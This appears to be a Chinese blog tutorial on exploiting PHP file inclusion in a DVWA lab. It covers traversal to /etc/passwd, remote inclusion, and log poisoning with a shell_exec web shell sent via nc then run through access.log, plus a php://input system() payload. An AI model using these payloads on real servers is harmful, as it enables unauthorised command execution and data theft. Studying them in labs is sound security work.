目录:
文件包含漏洞原理
nc注入
php输入流

1:文件包含漏洞的原理

其实目录遍历漏洞和文件包含漏洞的原理是一样的,无非是文件包含漏洞可以包含远程服务器的文件,不知道业界纠结这个鬼问题干嘛,我就放一块写了。文件包含漏洞又分为两种,一是本地文件包含漏洞,二个是远程文件包含漏洞。造成这种漏洞的主要原因是PHP文件里使用了include函数,但是这个函数本身是没问题的,php引入include函数目的是减少代码量,减少维护成本,然而如果php服务器的配置文件配置不当的话,会造成网站php代码可以跨目录访问其他目录里的内容,如用户名的件/etc/passwd,修复也很简单,只需将php.ini里的allow_url_include=off就可以了。还有就是php文件可以指定包含文件比如:

$file=$GET['file'];
if($file != 'index.php'){
echo "文件包含错误!";
}
else{
//执行后面的代码
}

为了试验,我需要先将php.ini的allow_url_include 设置成on,编辑方法是 sudo vim /etc/php5/apache2/php.ini 再此之前我也补充一个远程登录到服务器的命令:telnet 用法如下:

telnet 192.168.1.1 //登录主机
root   //用户名
toor //密码!

这个时候可以打开浏览器输入192.168.1.1选DVWA登录。安全等级设置为low。找到file include这个就可以测试了,看一下能不能访问到passwd文件:地址如下,至于为什么是../../../../../../etc/passwd,这个懂linux就明白。其实../可以有多个。也可以用绝对路径:file:///etc/passwd 我就不多扯了,执行后看到root等账号信息被泄露。这个地方的细节比较多,比如有些服务器会设置了防护,然而我们可以利用%00截断绕过或是编码绕过,我就不写了,等下我还得吃饭,时间不多了。。。。

这玩意也可以包含远程的文件,然后服务器会被远程的文件拿过来自己执行。比如:?file=http://www.baidu.com/index.php

2.NC注入

文件包含漏洞其实并没有什么技术含量,考察的也是对linux的目录关系的认识,官方也是把文件包含漏洞定义为中等。因为好像他并不能直接得到最高权限,只是能泄露一些东西而已。其实不然,接下来给大家介绍一下文件包含可以与nc注入结合得到linux的代码执行权限。

首先要知道,apache会将指令的传输存到一个log日志中,这个日志记录着所以提交的数据。然而这个文件一般情况下是没有权限操作的,只有在配置不当的时候会触发,比如管理员为了方便会把log日志文件的执行权给所有人。这样就会有很大的隐患,即使www目录下的权限也可以查看并执行log日志文件。

nc可以提供如下的网络功能:

1) 监听特定端口,这时候nc就可以作为一个服务器,但是我发现这样使用nc生成的服务器仅仅是一echo服务器而已,没有其他更加强大的功能.
2) 连接特定端口,这时候nc就成为了一个客户端,同样的,也是一个简单的客户端,只能起echo的作用.
3) 扫描端口,这可以作为查询某个机器上是否开启了某个端口.
不扯了,先把文件的权限改成所有用户可执行: sudo chmod a+rx -R /var/log/ -R是递归给这个目录下的所有文件都设置这个权限,然后看下access.log有么有rx权限了。(读和执行)ls -ld /var/log/apache2/access.log

然后文件包含一下这个log文件可以看到成功了。。不过他在疯狂地蹦弹窗。也不知道咋回事。

总之成功了。这时候就用到nc登录服务器,提交一段代码,如下:

nc 192.168.1.1 80//登录服务器,端口80
<?php echo shell_exec($_GET['cmd']); die();?>//cmd是个变量。等下提交数据时候用的到。die();是不执行后面的内容,因为会出现很多无关紧要的东西。

提交了,但是提示报错。这无所谓,我们的目的是将这段代码注入到log文件中执行的。可以看一下log文件。里的这段代码。。cat /var/log/apache2/access.log

可以看到,代码已经被提交到了log文件,这时候再次用的这个文件包含漏洞,提交两个数据,一是传值给cmd这个变量,让其执行,第二个是log文件地址,可以构造一下语句:

?cmd=ls&page=file:///var/log/apache2/access.log //ls是查看当前目录下的东西。 可以看到,命令是被执行了。。这个目录下有这几个东西。

也可以看一下,当前服务器开启了哪些服务:?cmd=netstat -anp&page=file:///var/log/apache2/access.log

3.php输入流
原理我也没弄明白,太复杂了没看懂。只知道需要用到火狐浏览器的hackerbar。依旧是要利用文件包含漏洞,不过这种方法更牛逼,可以直接得到服务器的权限,而且还简单,利用如下:

?file=php://input
输入的数据为:
<? system('cat /flag.txt'); ?>

如果这样不直观,可以在提交数据后面添加die();,他会省略不必要的内容:

好了,到此结束。。

相关文章
评论
分享
  • 利用ms17_010漏洞攻陷windows server 2012服务器

    这几天给客户装了好多服务器,很多系统是windows server 2012 R2的,装完后也没有打补丁,然后我就对这个没打补丁的系统扫了一下还真发现了高危漏洞。(比较简单,不喜勿喷) 首先自己搭建的环境:kali linux (19...

    利用ms17_010漏洞攻陷windows server 2012服务器
  • CVE-2019-0708漏洞利用

    CVE-2019-0708漏洞利用9月7日上午,群里被CVE-2019-0708漏洞刷屏,原来是那个号称wannacry级别的漏洞 BlueKeep(CVE-2019-0708)漏洞利用发布了。吓得老夫赶紧打开虚拟机更新了一下kali...

    CVE-2019-0708漏洞利用
  • 利用php输入流getshell教程

    利用php输入流getshell教程
  • sql注入

    依旧是使用DVWA。。 sql注入初级代码:<?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id'];...

    sql注入
  • PHP文件上传漏洞

    目录: 初级 中级 高级 防护措施 1.初级:上传漏洞很简单,刚刚看完一个多小时的教程心情很是惆怅,决定把老师讲的记下来。依旧是用DVWA这玩意进行练习。先从初级开始,首先分析一下php的源代码: <?php if (is...

    PHP文件上传漏洞